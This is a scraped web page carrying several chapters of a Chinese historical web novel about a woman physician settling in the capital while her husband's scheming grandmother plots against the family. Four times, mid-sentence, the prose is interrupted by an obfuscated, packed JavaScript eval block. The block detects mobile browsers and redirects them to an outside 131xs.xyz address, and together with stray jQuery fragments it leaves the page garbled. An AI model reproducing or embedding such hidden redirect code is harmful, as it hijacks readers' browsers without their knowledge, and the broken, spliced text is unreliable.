温五陈的脸瞬间涨得通红,像是熟透的虾子。他支支吾吾地说不出话来,眼神躲闪着不敢看林芷柔。 一个年轻女子要他脱裤子?这...这... “在医者眼中,只有病人,性别不分。”林芷柔平静地说道,语气中带着几分无奈。这种情况她遇到过太多次,早已**以为常。 老夫人见儿子扭扭捏捏,顿时火冒三丈:“你还犹豫什么?为了你这病,差点要了娘的命!”她转头对着门外喊道,“嬷嬷,按住他,剪开裤子!” 门外的嬷嬷闻声而入,手里还真拿着一把剪刀。温五陈见状,连忙摆手:“娘,我自己来!” 在众人的劝说下,温五陈终于红着脸躺在榻上。他的左腹部明显肿胀,隐约可见青筋暴起。 林芷柔的手指轻轻按在他的腹部,一寸一寸地探查。她的眉头微皱,神情专注。 “这里疼吗?”她的手指轻轻按压。 “疼...”温五陈咬着牙说道。 “这里呢?”她的手指移动到另一处。 “也疼...” “这个位置呢?” “不疼,但是感觉发紧。” 林芷柔点点头,从药箱中取出一套特制的空心玉针。这是她花重金从西域商人手中购得的宝贝,专门用来治疗疝气。 “这是专门排疝气用的针,待会可能会有些不适。”她一边解释,一边将玉针消毒。 玉针刺入,很快有细微的烟雾从针尾冒出。烟雾呈灰白色,带着一股淡淡的腥味。 一旁的沈明看得目瞪口呆:“小兄弟,这...这针简直无敌!”他搓着手,一脸惊叹。 林芷柔微微一笑:“那是气体排出来的现象,一会还会有水汽,都是正常的。”她的手指轻轻转动玉针,调整角度。 老夫人在一旁连连感叹:“真是我们温家祖上积德,才能遇到林大夫这样的神医。”她的眼中闪着泪光,“要不是遇到林大夫,我这把老骨头怕是...” “老人家莫要这么说。”林芷柔打断她的话,“您身子骨硬朗,再活个十年八年不成问题。” “说起来,还要感谢沈大哥。”林芷柔看向沈明,“初到帝都就遇到了故人,也是缘分。” “原来林大夫就是当初在泾阳帮过二女婿的恩人?”老夫人惊讶道,“难怪沈明一听说我们找大夫,就极力推荐你。” 沈明连忙解释:“是啊,要不是林大夫花五十两买下我的布,我可能至今还在泾阳。”他说着,眼中闪过一丝感激,“那时候家里困难,是林大夫帮了我一把。” 温五陈躺在榻上,感受着体内那股郁结的气息渐渐消散。玉针在他的腹部轻轻震动,带来一阵阵温热的感觉。 室内安静下来 林芷柔专注地施针,额头上渗出细密的汗珠。这套针法需要极其精准的手法,稍有偏差就会影响疗效。 时间一点点流逝,当最后一根玉针被取出时,温五陈已经感觉轻松了许多。他小心翼翼地活动身体,发现之前的胀痛感明显减轻。 “神了,真是神了!”他忍不住感叹道。 林芷柔收拾好玉针,又开了几副调理的药方。她仔细叮嘱用药方法,生怕病人记不清楚。 床榻上的老夫人虽然身子虚弱,却强撑着半坐起来。她苍老的面容上写满了焦虑,目光在儿子和大夫之间来回游移。 “五陈啊,”老夫人声音沙哑,“有什么不舒服就说出来,别让医生操心。这可不仅仅是为了给你治病,更是在救咱们温家的命啊。” 温五陈听了这话,整个人都僵住了。他的喉结滚动了一下,眼神闪烁,似乎想说什么,却又咽了回去。 屋内的气氛凝重得几乎让人窒息。作为温家唯一的嫡子,没有子嗣确实是个大问题。两位姨娘的儿子都已有了后,偏偏他这个嫡长子还没有。这让老夫人在家中的地位也岌岌可危。 林芷柔提醒道,。你的经脉有些堵塞,需要慢慢疏通。” 老夫人叹了口气,布满皱纹的手指紧紧攥着被角:“五陈,你要记住,只有你好了,娘才能安心。那些人,一个个盯着咱们家的产业,就等着...” “娘,我明白。”温五陈打断了母亲的话,声音有些哽咽。他的肩膀微微耸动,似乎承受着无形的重担。 林芷柔又从荷包里取出一张药方。她的动作优雅从容,每一个细节都透露着专业。“这个方子,一副药喝了之后,药渣留着泡澡用。想要效果更好,可以多买一副专门用来泡澡。” 她的目光在温五陈脸上停留了片刻,补充道:“记住,服药期间不可行房事。” 温五陈的脸更红了,连忙低下头去,耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865636|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根都染上了一层绯红。 “这屋子里的熏香味太重。”林芷柔环顾四周,眉头微皱,“老夫人最好换个房间住,把这里的被褥衣物都拿去晒晒,屋子也要敞开通风。” 温五陈立刻起身,小心翼翼地扶起老夫人:“娘,咱们去我院里住吧。” 老夫人点点头,任由儿子搀扶着。她的目光始终没有离开林芷柔,似乎想从这位年轻大夫的表情中看出些什么。 来到温五陈的院子,他的夫人赵氏已经在廊下等候。她穿着淡青色的襦裙,面容清秀,却带着一丝憔悴。看到一行人过来,连忙迎了上来。 林芷柔打量了她几眼,从荷包里取出一个小瓷瓶。瓶身上绘着精致的花纹,一看就不是寻常之物。 “夫人每月那几天不适的时候,一次三粒,一日三次,饭前服用。”她将瓷瓶递给赵氏,“记住,药丸要用温水送服,不可用凉水。” 赵氏接过瓷瓶,手指微微颤抖,眼中闪着希望的光芒:“真的能...能有孩子吗?”她的声音里带着几分小心翼翼,生怕这一丝希望也会破灭。 “调理好身子,自然就会有。”林芷柔淡淡地说,“但也不要太过着急,心急吃不了热豆腐。” 老夫人也开口求道:“大夫,能不能再给我两颗刚才那种药丸?那药确实管用。”她的语气中带着恳求。 林芷柔让萤萤取出一个精致的玉质药匣,里面装着两粒药丸:“这药极其珍贵,没有特别难受的时候不要轻易服用。一年也就产得了这么几粒。” 看着那精致的琉璃瓶,在场所有人都倒吸一口冷气。用这样贵重的器皿来装药,这位林大夫的身份怕是不简单。琉璃器物向来是达官贵人才用得起的,寻常大夫哪里会有这等物件。 赵氏小心翼翼地接过琉璃瓶,生怕磕着碰着。她的眼中闪过一丝惊讶,但很快就掩饰了下去。 “多谢大夫。”老夫人由衷地说道,“不知道下次...” “七日后我会再来。”林芷柔打断了她的话,“到时候看看药效如何,再做调整。” 她转身准备离开,却又停下脚步:“对了,这几日要忌辛辣油腻,清淡为主。晚上不要熬得太晚,早点休息。” 看着林芷柔,老夫人握住儿子的手:“五陈,这位林大夫医术确实了得,咱们一定要好好请她医治。” 温五陈点点头,目光中带着希望和忐忑。赵氏站在一旁,手中紧握着那个小瓷瓶,仿佛握着全家的希望。 院子里的风轻轻吹过,带来一丝清凉。这个夏日的午后,似乎给温家带来了一线转机。 第一百八十九章 原来是云州的林神医 “林大夫,这点药钱还请收下。”老夫人将一叠玉牌递过来时,眼中闪烁着感激的光芒。她的脸色已经恢复了红润,不复方才的苍白,“听说你打算购置房子,这事就交给我儿子去办。我们家正是干这个的,城南那边,什么样的宅子都能给你找到。” 林芷柔伸手接过玉牌,指尖微微颤动。她的目光在玉牌上停留片刻,随后将其塞进包里。 屋内光线昏暗,檀香袅袅,老夫人身边的丫鬟正在收拾着散落的药材。林芷柔环顾四周,眼底闪过一丝疲惫。连日奔波,她的肩膀微微下垂,却依然保持着端庄的姿态。 “多谢老夫人和温老板,我家里人还在牙行等候,得去看看宅子铺面,就先告辞了。”她的声音温和。 温五陈已经换了条新裤子,站在门边等候。他的目光不时瞥向林芷柔,眼中带着复杂的神色。赵氏拿起那条破了洞的裤子,眉头紧蹙,手指摩挲着布料上的裂痕,似乎在思索着什么。 街道上行人匆匆。温五陈领着林芷柔和沈明穿过几条巷子,终于回到了牙行。 刚踏入牙行的院子,一道稚嫩的声音就传了过来。阳阳像只灵活的小兔子,从廊下蹦跳着扑向林芷柔:“娘亲!你去哪儿了?” 小家伙的声音里带着浓浓的委屈,眼眶微红,像是受了天大的委屈。林芷柔心头一颤,但还是维持着表面的平静。她弯腰将儿子抱起,感受着小家伙温暖的体温。 “娘是大夫,要去救人的,你忘了吗?”她轻声细语,手掌在儿子背上轻轻拍着。 “可是...阳阳想娘了。”小家伙搂着她的脖子,小脸贴在她颈间蹭着,“阳阳害怕娘不要阳阳了。” 这句话像一把利刃,刺痛了在场所有人的心。顾馨巧站在一旁,眼中泛起水光。她看着孙子紧紧依偎着儿媳妇的样子,心疼得说不出话来。从小,阳阳就特别依赖他娘,如今遭遇变故,这份依恋更显得珍贵。 林芷柔抱着儿子,走到廊下的石凳旁坐下。阳光透过回廊的雕花照在地上,在青石板上投下斑驳的影子。她轻轻抚摸着儿子的发丝,声音轻柔:“娘也想你,但要把想念藏在心里,默默地想,知道吗?” “嗯!”阳阳用力点头,小手按在胸口,一脸认真,“我把阿爷、爹和二叔都放在这里,默默想他们。” 这句天真的话语让顾馨巧再也控制不住情绪,转身擦拭着眼角。只有阳阳,才能如此直白地说出这些话。屋内一时陷入沉默,连院子里的鸟儿也停止了啁啾。 温五陈轻咳一声,打破了这份沉重的气氛。他将众人带到偏房,吩咐小厮上了茶点。茶香袅袅升起,驱散了些许凝重。他从柜子里取出几本厚重的登记册,放在案几上:“这些都是一进院子的资料,您看看哪处合适。” 林芷柔将册子递给婆婆。顾馨巧戴上老花镜,仔细翻看着。她的手指在纸页上轻轻划过,最后停在一处价格适中的院子上。 “这处如何?”顾馨巧指着册子问道,“价钱合适,院子也齐整。” 温五陈的表情却变得有些为难,他搓着手,欲言又止。 “温老板,这院子可是有什么问题?”林芷柔敏锐地察觉到他的异常。 “这处院子...”温五陈压低声音,“周围不**全,而且...”他顿了顿,“死过人。”说着,他快速翻到另一页,指着一处院子,“我觉得这里更适合,虽然贵些,但邻里都是善良本分人。我姐夫就住在附近,能照应着。” 林芷柔看向赵氏和楚星澜:“姨娘、澜儿,你们觉得如何?” 两人都说听从她的安排。赵氏的目光在册子上扫过,轻声道:“只要安全,贵些也无妨。” “那就这处吧。”林芷柔做出决定。她知道,在这个陌生的地方,有个可靠的邻居很重要。 “这院子,就当是给林大夫的诊金。”温五陈突然说道,拦住准备付钱的顾馨巧,“您救了我母亲和我的性命,就是拯救了我们温家,这点心意不成敬意。” “诊金刚刚不是已经给过了吗?”林芷柔从袖中取出老夫人方才给的玉牌。 温五陈连连摆手,脸上露出诚恳的表情:“那是买药丸的费用。林大夫,您就别推辞了。我已经让人去收拾院子,今晚就能住。铺面的事也在安排,就在我姐夫的店铺旁边,也好有个照应。” 林芷柔沉默片刻,起身向温五陈郑重行了一礼:“多谢温老板。” 她知道,这份恩情不仅仅是一处院子那么简单。在这个陌生的地方,能遇到愿意伸出援手的人,是难得的机缘。 阳阳在一旁听得懵懂,却也学着娘亲的样子,对温五陈弯腰作揖: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869245|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谢谢温叔叔。”他奶声奶气的模样逗得众人莞尔,连顾馨巧脸上也露出了久违的笑容。 温五陈连忙扶起林芷柔:“您这是折煞我了。”他看向窗外,“天色不早了,我这就让人带您们去看看院子。” 林芷柔抱起阳阳,感受着儿子小小的重量。她知道,这是一个新的开始,虽然前路未知,但至少,他们还有希望。 林芷柔望着温五陈,轻声道:“治病救人是医者本分,温老板不必如此客气。” 她的手指无意识地摩挲着袖口,思绪飘向远方。当年在云州救治楚星河时,对方也是以一座院子作为诊金。如今来到帝都,又是一座院子,这般巧合让她不禁莞尔。只是那时的她尚且年少,不谙世事,如今已是孩子的娘亲,岁月匆匆,恍如隔世。 “林大夫太谦虚了。”温五陈搓着手,脸上写满感激,“帝都能治病的大夫不少,可都说我这病无解。若非林大夫妙手回春,我温家怕是要绝后了。” 说着,他偷偷抹了抹眼角,声音有些哽咽:“这院子虽不值什么银子,但也是我温家的一点心意。” 一旁的楚星澜按捺不住,插嘴道:“温老板说得对!我嫂子可是云州的神医,连太医院院正都束手无策的威震大将军,都被她治好了!”少年人说起话来毫不掩饰自豪之情,眼睛亮晶晶的。 温五陈闻言一愣,随即恍然大悟:“原来是云州的林神医!难怪我觉得这名字如此耳熟。”他的语气更加恭敬,“早就听闻林神医医术通神,今日一见,果然名不虚传。” “帝都也有我家柔柔的传闻?”赵氏眼中闪过好奇之色,语气中带着几分母亲的骄傲。 顾馨巧也竖起耳朵,她轻轻拍着怀中昏昏欲睡的阳阳,对这等传闻自是感兴趣。多年未至帝都,如今听到儿媳的名声传到这里,心中说不出的欢喜。 “那可不是!”温五陈滔滔不绝,“卓家老爷病愈后,特意摆了三牲祭拜祖宗,整个帝都都轰动了。威震大将军的病情,谁人不知?太医院那些老大夫们束手无策,可就是被一位姓林的神医治好了。” 他顿了顿,又道:“只是没想到林神医这般年轻,还是位女子。” 林芷柔神色平淡,只道了句:“温老板过誉了。”她不喜欢这样的吹捧,医者仁心,治病救人本就是天职。 第一百九十章 在帝都安家了 正说着,店小二进来禀报酒席已备妥。温五陈连忙招呼众人入座,桌上摆满了鸡鸭鱼肉,还有各色时蔬。香气四溢,让人食指大动。 “这是我们酒楼的招牌菜,红烧狮子头。”温五陈热情地介绍,“还有这个糖醋排骨,都是我特意吩咐厨子精心准备的。” 顾馨巧看着满桌佳肴,连连推辞:“温老板太客气了。” “能请到林大夫用饭,是我的福分。”温五陈笑道,“快趁热吃吧,凉了就不好了。” 林芷柔给阳阳夹了块鱼肉,柔声道:“吃饱了,娘带你去看新家。” 小家伙乖巧地点头:“好!”他小心翼翼地用筷子夹起鱼肉,生怕弄脏了新衣裳。 阳阳那张可爱的小脸,配上举手投足间的稚气,看得温五陈心中暗暗羡慕。若是他也能有这般可爱的孩子,定要日日为林大夫上香。想到自己很快就能康复,他不由得又红了眼眶。 饭后,众人随温家伙计前往新宅。街上行人熙熙攘攘,小贩的吆喝声此起彼伏。 “前面就是了。”伙计指着一座朱红色的大门,“这条街上住的都是商户,街坊邻居都是本分人家。” 推开门,映入眼帘的是一个不大不小的院子。虽比不上富贵人家的宅院,但收拾得干净整洁。院中种着几株月季,还有一棵桃树,枝头已经冒出了嫩芽。 “这院子收拾得不错。”顾馨巧满意地点头,“等桃花开了,一定很好看。” 屋内家具齐全,虽不名贵,却也实用。炕上铺着新褥子,窗户上贴着崭新的花窗纸,处处都收拾得妥妥帖帖。 “林大夫,房契三日后便可送到。”伙计恭敬道。 “有劳了。” 伙计欲言又止,终是鼓起勇气:“林大夫,小的娘亲咳疾缠身月余,不知可否请您...” “咳嗽是白天重还是夜里重?”林芷柔问道。 “夜里尤甚,有时还带血丝。”伙计声音低沉,“请了好几个大夫,都说是肺痨。” 林芷柔眉头微皱,从马车上取出一个小瓦罐,内里装着她刚配好的止咳糖浆。这是她根据多年经验调配的方子,对咳疾颇有成效。 “饭后服用,头一次两调羹,之后一次一调羹,日服三次。”她仔细叮嘱,“若是咳得厉害,可以用热水冲服。” 伙计红着眼接过:“多谢林大夫,诊金...” “你为我们忙前忙后,这药就当谢礼。”林芷柔温声道,“若不见效,速来告知。” 伙计千恩万谢,抱着药罐飞奔而去。看着他的背影,林芷柔暗暗叹息。帝都虽大,却也少不了病痛缠身的可怜人。 顾馨巧和赵氏已将院子转了个遍。三间正房,三间厢房,还有厨房水井。院中虽不算大,却也清雅。 “不如我们都住正房吧,热闹些。”顾馨巧提议,“我和赵氏一间,柔柔带着阳阳一间,星澜自己一间。” 林芷柔点头:“也好,大家住在一处,也好有个照应。” 楚星澜好奇地打量着炕头:“母亲,这炕要如何烧?我在云州时从未见过这等物件。” “从这灶口烧,还能熬粥贴饼。”顾馨巧耐心解释,“冬日里睡在上面,暖和得很。” “饼子!”阳阳眼睛一亮,小手拍得啪啪响,“阳阳要吃饼子!” 顾馨巧被孙儿逗笑:“好好好,今晚阿奶给你贴饼子吃。”她摸了摸阳阳的小脑袋,“先去收拾东西,把新家布置好。” 赵氏已经开始打扫屋子,一边擦拭桌椅,一边感慨:“总算有了个安身之所,不用再在客栈里住着了。” 林芷柔看着忙碌的众人,心中涌起一股暖意。这座小院,将是他们在帝都的新起点。虽然前路未卜,但只要一家人在一起,就没什么好怕的。她和家人交待了一下便驾车去了客栈取她们放在客栈的东西,掌柜的站在门槛边,目送着她。他摸着下巴,眼中闪烁着好奇的光芒。这年头,能买下院子的人不少,但像她们这样的人家,倒是头一回见。 那几个女子举止优雅,言谈不俗,却又带着几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869246|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分市井气息。最让人在意的是,她们身上有种说不清道不明的气质,仿佛与这街市格格不入,又似乎完美地融入其中。 林芷柔驾着马车,在街上不紧不慢地转着圈子。她时不时回头张望,确认四下无人注意。待行至一处偏僻巷口,她才小心翼翼地将锦囊里的物件搬了出来。 米面油盐、柴火木炭,应有尽有。这些东西,都是从云陵伯府带出来的。那些个主子们,整日里锦衣玉食,哪里会去关心厨房里少了什么东西。 马车驶入新宅,顾馨巧和赵氏早已在门口翘首以盼。看到满载而归的马车,两人眼中都闪过惊喜之色。 “买了这么多东西?”顾馨巧快步上前,伸手摸了摸装满粮食的麻袋。 林芷柔跳下车,拍了拍裙摆上的灰尘:“是啊,趁着天还亮着,赶紧收拾收拾。”她顿了顿,压低声音道:“这些东西够咱们吃上一阵子了。” 赵氏连忙招呼大家搬东西。看大家忙碌的身影,她眼中泛起湿意:“总算有个安身之所了。” 林芷柔握住婆婆的手,轻声安慰:“母亲,往后的日子会越来越好的。” 傍晚时分,新宅里炊烟袅袅升起。小灶上,一锅稀饭咕嘟咕嘟地冒着泡,饼子在锅边滋滋作响,两个小菜也飘着诱人的香气。 厨房里,林芷柔正忙着翻炒一盘青菜。她的动作娴熟,显然是个好手艺。顾馨巧在一旁烧火,时不时抬头看看锅里的饭。 “柔柔,你说咱们这样跑出来,会不会...”顾馨巧欲言又止。 林芷柔放下锅铲,转身看向她:“母亲是担心老夫人那边?” 顾馨巧点点头:“她毕竟是婆母,闹的这么僵,怕是...” “怕什么?”林芷柔冷笑一声,“那位要真把咱们当家人,也不会做出那些事来。” 顾馨巧叹了口气,没有说话。她想起那些不堪的往事,心里一阵发紧。 一家五口,围坐在炕边,吃得热闹欢畅。这样的场景,在楚家老宅时从未有过。 第一百九十一章 楚老夫人的真面目 与此同时,楚家老宅里,老夫人却是度日如年。 昨日夜里,老鼠成群结队地在屋里乱窜,屋顶上的野猫此起彼伏地叫唤,闹得她一宿未眠。她坐在床边,神色阴郁,眼底布满血丝。 今晚,她不敢睡觉,就这么端坐着。蜡烛的光在她脸上投下摇曳的影子,那张布满皱纹的脸显得格外可怖。 “吱吱吱——” 床底下突然传来声响。老夫人浑身一颤,猛地睁开眼睛。她刚要起身查看,声音又消失了。 疲惫不堪的她,想着找点吃的垫垫肚子。柜门一开,一只肥硕的老鼠正抱着点心大快朵颐。这老鼠不怕人也就罢了,竟还敢在她面前大摇大摆地跑到圆桌上继续吃。 老夫人气得浑身发抖,抄起鞋子就砸。老鼠灵活地一闪,躲过了攻击,还做出一副挑衅的模样,两只前爪不停地搓着。 “你这畜生!”老夫人咬牙切齿,脸上的褶皱都因愤怒而扭曲。 往事涌上心头,她喃喃自语:“当年在云陵伯府,谁敢这样对我?那支氏,不过是个商户女,也敢跟我抢男人?” 她的眼神渐渐变得阴狠:“害她一尸两命,也是她自找的。云陵伯夫人的位置,本就该是我的。” 老鼠听得毛骨悚然,它从未见过如此狠毒的人。那双浑浊的眼睛里,竟然闪烁着令人心悸的光芒。 “老大那个不孝子,不听我的话,娶了个商家女。要不是他带着人跑得快,哼!”老夫人攥紧了手中的帕子,指节发白。 “现在倒好,那个楚星河,居然敢瞒着我娶了个逃荒女,还敢分家!”她站起身,在屋里来回踱步,“这帝都,可不是那么好待的。” 老夫人走到窗前,望着漆黑的夜色,嘴角勾起一抹阴冷的笑:“等着吧,我会让她在帝都待不下去的,到时候,花点银子找人做掉她,也不是难事。” 灰鼠七听不下去了,飞快地窜上屋顶,找到玄猫五。它气喘吁吁地说:“主子有危险!那老太婆要**!” 玄猫五却显得很淡定,慵懒地舔着爪子:“别急,主子已经搬走了。倒是这老夫人,没想到藏得这么深。” 它眯起眼睛,望着远处的灯火:“看来,这帝都里的水,比我们想象的还要深啊。” 灰鼠七焦急地转着圈:“那我们该怎么办?” “先盯着她,”玄猫五站起身,伸了个懒腰,“有什么动静,立刻通知主子。” 夜色渐深,帝都的街道上已经没有了行人。新宅里,一家人都已经入睡。只有林芷柔还坐在院子里,望着天上的月亮。 她轻轻叹了口气,手指无意识地摩挲着腰间的玉佩。这帝都,对她们来说,既是避难所,也是战场。但无论如何,她们都不会再回到那个令人窒息的老宅了。 玄猫五和灰鼠七再次悄悄潜入楚家老夫人的卧室。昏暗的烛光下,老夫人正拿着鞋子四处寻找灰鼠七的踪迹,她的影子在墙上投射出一个扭曲的轮廓。 “死老鼠,敢偷吃我的点心,看我不把你打死!”老夫人嘴里不停地念叨着,手中的鞋子在空中挥舞。她的眼睛因愤怒而充血,脸上的皱纹挤在一起,显得格外狰狞。 屋内陈设简陋,与她曾经在伯府的奢华生活形成鲜明对比。墙角的木桌上摆着几个瓷碗,里面盛着剩饭剩菜,散发出一股馊味。 当她看到玄猫五跟在灰鼠七身后,立刻指着玄猫五破口大骂:“废物猫,养你就是为了让你抓老鼠,现在倒好,跟在老鼠后面瞎转悠,还不快去抓住那只偷吃我点心的死老鼠!” 玄猫五优雅地迈着步子,月光下它的毛发泛着幽幽的光泽。它冷眼瞥了老夫人一眼,喉咙里发出一声不屑的:“喵!” 灰鼠七躲在角落,灰色的小脑袋探出来,眼睛滴溜溜地转着。它压低声音对玄猫五说:“别理她,她疯了,咱们就听听她还能说出什么来。” 老夫人见玄猫**理会自己,更加恼怒。她抓起桌上的茶碗就要砸,手却因年迈而颤抖:“你这死猫也敢不把我放在眼里?信不信我剁了你?” 她突然狞笑起来,眼中闪过一丝病态的兴奋:“当年老侯爷那只白猫,就是被我亲手剁了的。那贱婢的猫,只让她碰,不让我碰,我就把它按在水里闷死,砍下头来炖了汤,逼着那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15876688|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贱婢喝下去。” “在我眼皮底下,敢跟我作对的,不论是人还是动物,都没有好下场!”她的声音尖利刺耳,像是从地狱深处传来。 玄猫五听到这话,猫眼中闪过一道寒光。它的尾巴高高竖起,全身的**都炸开了。下一秒,它猛地扑向老夫人,利爪直奔她的脸。 “啊!”老夫人惨叫一声,抄起门边的扫把就要打。她的动作因惊慌而变得笨拙,扫把在空中挥舞了几下,却没能碰到玄猫五分毫。 玄猫五身形灵活,像一道黑影般在房间里穿梭。它一个闪身跳到老夫人身后,对着她的腿狠狠挠了一爪子。老夫人的裤子立刻被撕开一道口子,皮肉上渗出血珠。 灰鼠七见状也不甘示弱,它钻进老夫人的裤管,对着她的小腿就是一口。 “死畜生!我要打死你们!”老夫人疼得直跺脚,她的脸因愤怒而扭曲,额头上的青筋暴起。 房间里一片混乱,老夫人手舞足蹈地追打着玄猫五和灰鼠七,却总是扑空。她撞翻了桌子,打碎了茶碗,整个人狼狈不堪。 “老黑,差不多得了,别把她逗**,主人还在等着找她算账呢。”灰鼠七提醒道,它的小眼睛里闪着狡黠的光。 玄猫五最后挠了一爪子,一跃而起,轻盈地跳上窗台。月光为它镀上一层银边,衬得它更加神秘莫测。随后,它优雅地跃入夜色中,消失不见。 老夫人跌坐在椅子上,头发凌乱,衣衫不整。她的脸色阴沉得可怕,活像个从地狱爬出来的恶鬼。她依然在不停地骂:“都是魏王不守信用,要不是他,我怎么会住这种破地方?明明诬陷老大的计划进行得很顺利...” 她的声音渐渐变小,变成自言自语:“那个**死得好,死得好啊!可惜她那个儿子命大,没能一起死...魏王说好帮我的,现在却把我扔在这里不管不顾...” 隔壁房间的楚云仲听到这些话,浑身发抖。烛光下,他的脸色惨白,额头上冒出冷汗。 原来母亲如此狠毒,不但害死父亲的原配,还想夺取大哥的爵位。这些年来的种种疑惑,此刻终于有了答案。 第一百九十二章 来自三房的关怀 他想起小时候父亲对母亲的冷淡,对自己的疏离,现在全都明白了。那不是父亲的偏心,而是看透了这个女人的真面目。 珩氏披着外衣走来,看到丈夫脸色不对,连忙轻声问:“老爷,你怎么了?” 她轻轻为楚云仲披上披风,感受到他身体的颤抖,心里一阵酸楚。 “老爷,家里的事我们说不上话,还是烂在肚子里更好。”珩氏低声劝慰,她的声音温柔而担忧。 楚云仲苦笑,眼中满是痛苦:“我这辈子真是糊涂,连自己身处怎样的环境都不清楚。难怪大哥大嫂一直不愿回京,这样的家,哪有半点温情可言?” 珩氏叹了口气,下意识摸了摸贴身肚兜。她偷偷攒下的私房钱藏在那里,总算保住了。儿女即将成亲,没有银子怎么行? “老爷别灰心,大哥和星河都是太子的左膀右臂,说不定还有转机。”珩氏轻声安慰,手轻轻抚着丈夫的后背。 楚云仲只是沉默,眼泪无声地流下。窗外的月光清冷,照在他的脸上,映出深深的疲惫和无奈。 珩氏站在窗前,看着院中,心事重重。屋内的空气凝滞得令人窒息,楚云仲的问题还在耳边回响。 “林燕,你说大嫂一家现在在何处落脚?”楚云仲的声音里带着几分疲惫。 这个问题像一把利剑,直直刺入珩氏的心口。她攥紧了衣角,指节泛白。若是老夫人害死先侯夫人的事情传出去,大哥必定恨之入骨,又怎会帮他们?这个秘密压在心头多年,每每想起都令她喘不过气来。 “我...我不知道。”珩氏低声应道,目光闪烁着不敢与丈夫对视。 屋外的风掀起了窗帘一角,带进几片树叶。楚云仲伸手接住一片,神色黯然:“昨日在街上遇见星河的小儿子,那孩子真是可爱。” 珩氏的手微微颤抖,眼前浮现出那个曾经圆润可爱的小侄子 “林燕......”楚云仲的声音哽咽了,他用袖子擦去眼角的泪水,“你还记得大嫂刚进门时的样子吗?” 珩氏当然记得。那时的顾馨巧明艳动人,举手投足间尽显大家闺秀的风范。谁能想到,短短几年时光,命运就将这个女子推入了深渊。 “我知道你藏了些银子。”楚云仲突然说道,目光灼灼地看着妻子,“也明白你是为了孩子们打算。但大嫂带着孩子从那么远回来,连家门都没踏入就被赶走了......” 珩氏的手不自觉地摸向肚兜,那里藏着她的全部积蓄——整整二百两银子。这些钱是她多年来一点一点攒下的,有的是节省下的月钱,有的是娘家偷偷塞给她的。 “大人饿一顿两顿也无妨,可星河的孩子哪受得了这苦?”楚云仲站起身,在屋内来回踱步,“老夫人不讲人情,但我们不能不管啊。” 珩氏的心却乱如麻。她想起自己的一双儿女,这些银子原本是要留给他们的。可大嫂一家如今流落街头,她又怎能坐视不理? “你说得对,大房才是楚家的未来。”楚云仲长叹一声,“我们手里有银子,却眼睁睁看着大嫂一家挨饿,那还算是人吗?” 珩氏闭上眼,回想起自己的出身。不过是个小门小户的嫡女,当初做肚兜时,总喜欢在背面缝个小袋子,用来藏些香料。抄家那日,她急中生智,将玉牌藏了进去,这才保住了这些钱财。 屋内陷入了长久的沉默,只有檐下风铃偶尔发出清脆的响声。珩氏的手指无意识地摩挲着肚兜里的玉牌,仿佛在确认它们的存在。 “老爷......”最终,珩氏颤抖着声音开口,“我这里有些私房钱。” 她小心翼翼地从肚兜里取出四张玉牌,递到楚云仲面前:“一共二百两。” 楚云仲接过玉牌,手也在微微发抖:“给她一百五十两吧,她们人多,又要重新开始。” 珩氏默默收起剩下的五十两,心中五味杂陈。她知道丈夫待她极好,从未纳妾,连老夫人送来的通房都被婉拒。这些年来,他们夫妻同甘共苦,共同经历了太多风雨。 次日清晨,珩氏用去娘家探望为由,带着十岁的女儿出门寻找顾馨巧。春日的街道上行人熙攘,母女俩走走停停,打听着顾馨巧的下落。 一条街又一条街,脚下的青石板已被太阳晒得发烫。女儿的小脸被晒得通红,却没有半句抱怨。珩氏心疼地给她擦去额头的汗珠,又从荷包里掏出一块点心给她。 直到午后,她们终于在城南看到了带着孙子散步的顾馨巧。那个曾经光彩照人的女子,如今已是满头华发,只有那双眼睛依旧明亮如昔。 “大嫂!”珩氏顾不得形象,拉着女儿跑了过去。 顾馨巧转过身,看清来人后愣了一下:“你怎么来了?” 